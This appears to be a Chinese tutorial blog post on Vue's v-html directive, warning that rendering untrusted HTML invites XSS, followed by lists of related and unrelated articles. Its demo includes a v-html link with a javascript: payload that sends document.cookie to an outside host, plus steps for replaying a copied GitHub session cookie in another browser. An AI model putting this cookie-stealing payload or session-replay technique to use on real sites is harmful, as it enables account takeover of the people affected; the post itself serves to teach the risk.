v-html指令总结：

1、作用：向指定节点中渲染包含html结构的内容

2、与插值语法的区别：

（1）v-html 会替换掉节点中所有的内容，{{}}则不会

（2）v-html 可以识别html 结构

3、特别注意：

（1）在网站上动态动态渲染任意HTML是非常危险的，容易导致XSS攻击

（2）一定要在可信的内容上使用v-html，永不要在用户提交的内容上使用

案例分析：

1、在google浏览器和火狐浏览器上安装 Cookie-Editor 插件：http://crx4.com/18460.html

2、在google 浏览器登陆githut 账号 ，使用Cookie-Editor插件将浏览器的Cookie数据导出

3、在火狐浏览器打开githut网站，然后删除Cookie数据，将从google浏览器导出的数据导入到火狐浏览器中，然后刷新页面，会发现火狐浏览器的githut会有登陆后的信息

（1）html

<!DOCTYPE html>

<head>

    <title>v-html</title>

    <script type="text/javascript" src="../js/vue.js"></script>

</head>

<body>

    <div id="root">

        <div v-html="str"></div>

    </div>

</body>

<script type="text/javascript">

    Vue.config.productionTip = false

    new Vue({

        el:"#root",

        data:{

            str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'

        }

    })

</script>

（2）往页面加cookie数据

（3）点击链接，会将系统的cookie数据传走

链接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=41&spm_id_from=pageDriver&vd_source=60a28e8364654bee938864b1d19905ec

第41集

Vue的v-html指令说明，含案例的更多相关文章

  1. VUE：内置指令与自定义指令

    VUE:内置指令与自定义指令 常用的内置指令 1)v:text 更新元素的 textContent 2)v-html 更新元素的 innerHTML 3)v-if 如果为true,当前标签才会输出到页 ...

  2. 【Vue】通过自定义指令回顾 v-内置指令

    Vue.js 的各种指令(Directives)更加方便我们去数据驱动 DOM,例如 v-bind.v-on.v-model.v-if.v-for.v-once 等内置指令,这些指令的职责就是当表达式 ...

  3. Vue API(directives) 自定义指令

    前言:除了vue的内置指令以外,我们可以定义自定义指令.内置指令表相见:https://www.cnblogs.com/ilovexiaoming/p/6840383.html 我们定义一个最简单的 ...

  4. vue自定義指令

    自定義指令可以允許代碼複用, 全局自定義指令 vue.directive('指令名',{鉤子函數:指令函數}) 局部自定義指令: vue({ directives:{指令名:{鉤子函數:指令函數} } ...

  5. Vue(四) 内置指令

    现在介绍 Vue.js 中 更多的内置指令 基本指令 v-cloak v-cloak 不需要表达式,它会在 Vue 实例结束编译时从绑定的 HTML 元素上移除,经常和 CSS 的 display: ...

  6. 移动端Tap与滑屏实战技巧总结以及Vue混合开发自定义指令

    最近在忙混合开发,因交互相对复杂,所以也踩了很多坑.在此做一下总结. 1.tap事件的实际应用 在使用tap事件时,老生常谈的肯定是点透问题,大多情况下,在有滑屏交互的页面时,我们会在根节点阻止默认行 ...

  7. vue教程2-07 自定义指令

    vue教程2-07 自定义指令 自定义指令: 一.属性: Vue.directive(指令名称,function(参数){ this.el -> 原生DOM元素 }); <div v-re ...

  8. Vue 框架-07-循环指令 v-for，和模板的使用

    Vue 框架-07-循环指令 v-for,和模板的使用 本章主要是写一些小实例,记录代码,想要更详细的话,请查看 官方文档:https://cn.vuejs.org/v2/guide/#%E6%9D% ...

  9. Vue.js之常用指令

    vue常用指令 vue.js官方给自己的定义是数据模板引擎,并给出了一套渲染数据的指令.本文详细介绍vue.js的常用指令. 官网:点我 一.v-text.v-html v-text:用于绑定文本 v ...

  10. 1.Vue.js的常用指令

      Vue.js介绍 Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的.相比于Angular.js,Vue.js提供了更加简洁.更易于理解的API,使得 ...

随机推荐

  1. goland 无法跳转 struct等

    goland 提示: Cannot find declaration to go to 表现为:无法跳转,标红 但实际上对应文件是存在该struct或var 解决办法: ref:https://sta ...

  2. 十二、21.提交本地代码到Git仓库并推送到码云

    查看分支 运行git add . 把所有修改过后文件添加到暂存区 git commit 把当前所有的代码提交到rights分支 加-m加一个消息 到此所有的功能模块都已经提交到了rights这个分支里 ...

  3. 070_GET https://login.salesforce.com/17181/logo180.png 404 (Not Found)

    这个问题怎么解答? Google了一下:https://success.salesforce.com/answers?id=90630000000D6qzAAC 谷歌应用商店安装了一个 Resourc ...

  4. [ZZH]第一篇博客

    time: 2022/3/29  20:24 my first blog

  5. 合格できる日本語能力試験, N1.PDF

    书本详情 合格できる日本語能力試験, N1种类:Languages - Japanese Language Reference年:2010出版:Shohan.出版社:Aruku语言:japanese页 ...

  6. OS-lab4

    OS-lab4 系统调用 系统调用的流程 按照上述的流程逐个分析. user/syscall_lib.c 这个文件位于user文件夹下,也就是用户程序可以调用的函数,相当于操作系统提供给用户程序的一些 ...

  7. flutter 多种情况tabbar高度问题，普通使用和嵌套使用高度问题（Tab）。

    众所周知tabbar的高度是不可改变的.比如我们普通的写一个tabbar. 先上效果图: 代码: Scaffold( appBar: AppBar( title: Text("TabBarD ...

  8. Task :app:lintVitalRelease FAILED

    错误信息:Task :app:lintVitalRelease FAILED 问题原因:dl.google.com 无法连接 解决办法: 修改hosts(推荐)通过在线查询ip网站,找到dl.goog ...

  9. c语言container_of 编译报错

    求指针ptr所在的结构体实例的首地址, #define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER) #define co ...

  10. SQL开窗函数用法

    开窗函数分类: 根据使用的目的,开窗函数可以分为两类:聚合开窗函数和排序开窗函数. 下面主要解析四种常用的排序开窗函数: 1.ROW_NUMBER() OVER () : 对相等的值不进行区分,序号连 ...